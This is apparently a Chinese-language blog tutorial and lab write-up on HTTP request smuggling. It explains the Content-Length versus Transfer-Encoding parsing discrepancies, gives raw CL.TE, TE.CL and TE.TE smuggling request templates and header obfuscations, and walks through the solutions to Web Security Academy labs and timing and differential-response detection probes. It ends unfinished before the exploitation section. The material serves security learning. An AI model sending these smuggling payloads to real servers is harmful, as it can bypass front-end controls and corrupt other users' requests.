3071 字
15 分钟
HTTP-request-smuggling
2026-02-07

基础介绍#

1. 定义#

HTTP 请求走私(request smuggling) 是一种干扰网站处理多个 HTTP 请求序列的技术。请求走私漏洞危害很大,它使攻击者可以绕过安全控制,未经授权访问敏感数据并直接危害其他应用程序用户

2. 发生#

前端服务器HTTP 请求转发到后端服务器时,通常会通过同一个后端网络连接发送多个请求。HTTP 请求一个接一个地发送,接收服务器必须确定一个请求在哪里结束,下一个请求在哪里开始。 [HTTP1.png] 在这种情况下,前端和后端系统必须就请求之间的边界达成一致。否则,攻击者可能发送含义模糊的请求,而前端和后端系统会对其进行不同的解读。即: [HTTP2.png] 攻击者通过这种方式,使前端请求的一部分被后端服务器解读为下一个请求的开头。这部分内容实际上被添加到了下一个请求之前,从而干扰了应用程序处理该请求的方式。

所以说利用方式可以跟SSRF区分开来,SSRF是直接利用内网机器来访问内网资源,而HTTP请求走私是干扰应用程序的请求处理方式。

ps: 也就是说通过这种方式,我们可以在下一个合法用户的开头添加任意内容。

3. 原因#

当网站使用两个服务器(一个前端,一个后端)来处理用户所提交的数据,而两个服务器之间对HTTP HEADER的处理不一致时,就可能产生HTTP走私问题。

至于处理不一致的原因是因为HTTP/1规范提供了多种不同的方式来指定请求结束的位置:Content-Length标头和Transfer-Encoding标头。

  • Content-Length标头很直接:它指定消息主体的位元组长度(正文长度)
  • Transfer-Encoding标头可用于指定消息主体使用分块编码。这意味着消息主体包含一个或多个数据块。每个数据块由数据块大小(以十六进位表示)组成,后面跟着换行符,然后就是数据块内容。消息以大小均匀的数据块结束。

4. 前置了解#

Keep-Alive&Pipeline#

HTTP1.1中使用最为广泛的两种特性

​ 所谓Keep-Alive,就是在HTTP请求中增加一个特殊的请求头Connection: Keep-Alive,告诉服务器,接收完这次HTTP请求后,不要关闭TCP链接,后面对相同目标服务器的HTTP请求,重用这一个TCP链接,这样只需要进行一次TCP握手的过程,可以减少服务器的开销,节约资源,还能加快访问速度。当然,这个特性在HTTP1.1中是默认开启的。

​ 有了Keep-Alive之后,后续就有了Pipeline,在这里呢,客户端可以像流水线一样发送自己的HTTP请求,而不需要等待服务器的响应,服务器那边接收到请求后,需要遵循先入先出机制,将请求和响应严格对应起来,再将响应发送给客户端。

​ 如今,浏览器默认是不启用Pipeline的,但是一般的服务器都提供了对Pipleline的支持。

CL&TE#


Content-Length(CL)

  • 通过数值指定消息体的字节数。
  • 格式:Content-Length: <number>

Transfer-Encoding(TE)

  • 支持分块传输编码
  • 格式:Transfer-Encoding: chunked
  • 块格式:[chunk-size][\r\n][chunk-data][\r\n]
  • 结束块:0[\r\n][\r\n]

​ CL好理解,对于TE我们重点关注chunked。

  • 优先级问题: 当我们设置TE为chunked时,CL就会被省略
  • 边界组成问题:
    • 长度: 每个chunk前面用16进制数来表示当前chunk的长度
    • chunk部分: 后面加上\r\n,再后面就是chunk的内容,然后再用\r\n来代表chunk的结束——\r\n 内容 \r\n
    • 终止块: 最后用长度为 0 的块表示终止块
    • 签名存放: 终止块后是一个 trailer,由 0 或多个实体头组成,可以用来存放对数据的数字签名等 例子
POST / HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
b //chunk_size
q=smuggling
6
hahaha
0 //end
[blank]
[blank]

另外要注意\r\n占2字节,我们在计算长度的时候很容易把它们忽略。最后把请求包以字节流形式表述出来就是:

POST / HTTP/1.1\r\nHost: 1.com\r\nContent-Type: application/x-www-form-urlencoded\r\nTransfer-Encoding: chunked\r\n\r\nb\r\nq=smuggling\r\n6\r\nhahaha\r\n0\r\n\r\n

关键头部字段#

头部字段作用攻击相关性
Content-Length指示消息体的长度核心攻击目标
Transfer-Encoding指定消息体的传输编码核心攻击目标
Host指定目标主机路由相关攻击
Connection控制连接行为连接处理攻击
Transfer-Encoding指定传输编码(如chunked)格式混淆攻击

攻击#

1. 类型分类#

  • CLTE
  • 前端服务器使用 Content-Length 头,后端服务器使用 Transfer-Encoding 头
  • TECL
  • 前端服务器使用 Transfer-Encoding 标头,后端服务器使用 Content-Length 标头。
  • TETE
  • 前端和后端服务器都支持 Transfer-Encoding 标头,但是可以通过以某种方式来诱导其中一个服务器不处理它。

CLTE#

所谓CL TE就是前置服务器认为 Content-Length 优先级更高(或者说根本就不支持 Transfer-Encoding ) ,后端服务器认为 Transfer-Encoding 优先级更高

这种攻击利用了前端服务器使用Content-Length后端服务器使用Transfer-Encoding的解析差异。

  • 前端服务器仅处理Content-Length头部,将请求体视为指定长度的数据
  • 后端服务器优先处理Transfer-Encoding头部,将请求体解析为分块传输的数据
  • 攻击者构造的请求体中包含另一个完整的HTTP请求,被后端服务器视为单独的请求

例如:

POST / HTTP/1.1
Host: example.com
Content-Length: 13
Transfer-Encoding: chunked
0
SMUGGLED REQ
  • 前端服务器:使用Content-Length: 13,认为请求体结束于第13个字节(“0\r\n\r\nSMU”)
  • 后端服务器:使用Transfer-Encoding: chunked,解析到”0\r\n\r\n”后认为第一个请求结束,将”GGLED REQ”视为新的请求

例题 这个想通关的话,可以直接套用上边的模板(抓包到的方法是GET,修改为POST;注意要通过Inspector修改HTTP协议,从2改到1.1,因为HTTP/2无法请求走私)得到

POST / HTTP/1.1
Host: 0ab0002503847486819ae370000b0025.web-security-academy.net
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 8
Transfer-Encoding: chunked
0
G

请求两次即可得到Unrecognized method GPOST回复。

  • 第一次完成走私
    • 前端服务器根据 Content-Length: 8 只读取前 8 个字节(0\r\n\r\nG),认为请求体结束,将这部分转发给后端
    • 后端服务器根据 Transfer-Encoding: chunked 解析,读到 0\r\n\r\n 就认为当前请求结束,剩下的 G留在后端的连接缓冲区里,作为下一个请求的开头
  • 第二次触发错误
    • 发送的第二个正常请求(比如 POST / HTTP/1.1 ...)到达后端时,会和缓冲区里的 G 拼接在一起
    • 后端会把拼接后的内容解析为一个新的请求行:GPOST / HTTP/1.1,从而识别出一个不存在的方法 GPOST,于是返回 Unrecognized method GPOST 错误 正常一步步测试的做法后续在专门的通关记录中写

TECL#

这种攻击利用了前端服务器使用Transfer-Encoding后端服务器使用Content-Length的解析差异。

  • 前端服务器处理Transfer-Encoding头部,将请求体解析为分块数据
  • 后端服务器忽略Transfer-Encoding(可能由于格式问题),转而使用Content-Length
  • 攻击者在块数据中隐藏额外的请求,被后端服务器错误处理 例如
POST / HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked
5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0
  • 前端服务器:使用Transfer-Encoding,解析到”0\r\n\r\n”后认为请求结束
  • 后端服务器:忽略Transfer-Encoding(可能由于空格或其他格式问题),使用Content-Length: 4,将前4个字节视为请求体(“5\r\nH”),剩余部分可能影响后续请求 例题
POST / HTTP/1.1
Host: 0a67001203a8b60f81e3483a00c900ed.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 103
Transfer-Encoding: chunked
5c
GPOST / HTTP/1.1
0

重复请求之后可以看到WPOST被拆分了出来,重点关注body部分

\r\n
5c\r\n
GPOST / HTTP/1.1\r\n
\r\n
0\r\n
\r\n

前端处理TE读取到0\r\n\r\n之后就认为读取完毕发送给后端,而后端处理CL只读取4字节\r\n12就认为数据包结束,这时候剩下的WPOST / HTTP/1.1\r\n\r\n0\r\n\r\n就被认为是另一个请求,因此发生了请求报错。

TETE#

前置和后端服务器都支持 Transfer-Encoding,但通过混淆能让它们在处理时产生分歧。 而混淆的方法无穷无尽。

Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked
Transfer-Encoding
: chunked

模板

POST / HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked
Transfer-encoding: cow
5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0

例题 也不难

POST / HTTP/1.1\r\n
Host: 0a4400b2043b046c8046d51c009b00dd.web-security-academy.net\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Content-Length: 4\r\n
Transfer-Encoding: chunked\r\n
Transfer-encoding: cow\r\n
\r\n
5c\r\n
GPOST / HTTP/1.1\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Content-Length: 15\r\n
\r\n
x=1\r\n
0\r\n
\r\n

然后请求两次就可以出现Unrecognized method GPOST

2. 判断漏洞#

[判断漏洞.png] 第一种

Content-Length: 6
Transfer-Encoding: chunked
3
abc
X

第二种

Content-Length: 6
Transfer-Encoding: chunked
0
X

3. 识别漏洞#

利用计时#

CL.TE 漏洞#

如果应用程序容易受到 CL.TE 型请求走私攻击,那么发送如下请求通常会导致时间延迟:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 4
1
A
X

由于前端服务器使用请求Content-Length头,它只会转发请求的一部分,省略剩余部分X。后端服务器使用Transfer-Encoding请求头,处理第一个数据块,然后等待下一个数据块到达。这将导致明显的延迟。

TE.CL 漏洞#

如果应用程序存在 TE.CL 变体的请求走私漏洞,那么发送如下请求通常会导致时间延迟:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 6
0
X

由于前端服务器使用Transfer-Encoding请求头,它只会转发请求的一部分,省略剩余部分X。后端服务器使用Content-Length请求头,期望消息体中包含更多内容,并等待剩余内容到达。这将导致明显的延迟。

使用差异化响应#

介绍#

当检测到疑似请求走私漏洞时,可以通过利用该漏洞触发应用程序响应内容的差异来获取更多漏洞证据。这需要快速连续地向应用程序发送两个请求:

  • 一种旨在干扰下一个请求处理的“攻击”请求。
  • 一个“正常”的请求。 如果对正常请求的响应包含预期的干扰,则可以确认存在漏洞。 例如,假设正常的请求如下所示:
POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11
q=smuggling

此请求通常会收到状态码为 200 的 HTTP 响应,其中包含一些搜索结果。 干扰此请求所需的攻击请求取决于请求走私的变体:CL.TE 与 TE.CL。

使用差异响应确认CL.TE 漏洞#

要确认 CL.TE 漏洞,可以发送如下攻击请求

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 49
Transfer-Encoding: chunked
e
q=smuggling&x=
0
GET /404 HTTP/1.1
Foo: x

如果攻击成功,后端服务器会将此请求的最后两行视为下一个收到的请求。这将导致后续的“正常”请求看起来像这样:

GET /404 HTTP/1.1
Foo: xPOST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11
q=smuggling

由于此请求现在包含无效的 URL,服务器将以状态码 404 进行响应,表明攻击请求确实干扰了服务器。

使用差分响应确认 TE.CL 漏洞#

要确认 TE.CL 是否存在漏洞,可以发送如下攻击请求

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked
7c
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 144
x=
0

如果攻击成功,GET /404后端服务器会将之后的所有内容都视为下一个收到的请求。这将导致后续的“正常”请求看起来像这样

GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 146
x=
0
POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11
q=smuggling

由于此请求现在包含无效的 URL,服务器将以状态码 404 进行响应,表明攻击请求确实干扰了服务器

4. 利用漏洞#

绕过前端安全控制#

有点燃尽,休息一会儿继续写,后面补全

HTTP-request-smuggling
https://fuwari.vercel.app/posts/http/
作者
BIG熙
发布于
2026-02-07
许可协议
CC BY-NC-SA 4.0